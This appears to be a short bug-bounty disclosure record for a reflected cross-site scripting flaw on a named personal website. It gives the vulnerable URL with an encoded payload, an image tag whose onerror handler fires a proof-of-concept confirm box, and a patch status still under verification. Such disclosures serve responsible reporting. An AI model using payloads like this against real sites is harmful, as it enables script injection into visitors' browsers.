lucaswolfe.com XSS vulnerability

Vulnerable URL: http://www.lucaswolfe.com/index.php?msg=%3Ccenter%3EReport%20By%20Victor%20Burgos%3Cbr%3Efind%3Cbr%3EXSS%3CImage%20Srcset=K%20/;%20Onerror=confirmOPENBUGBOUNTY%20//%3E Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 14.01.2018...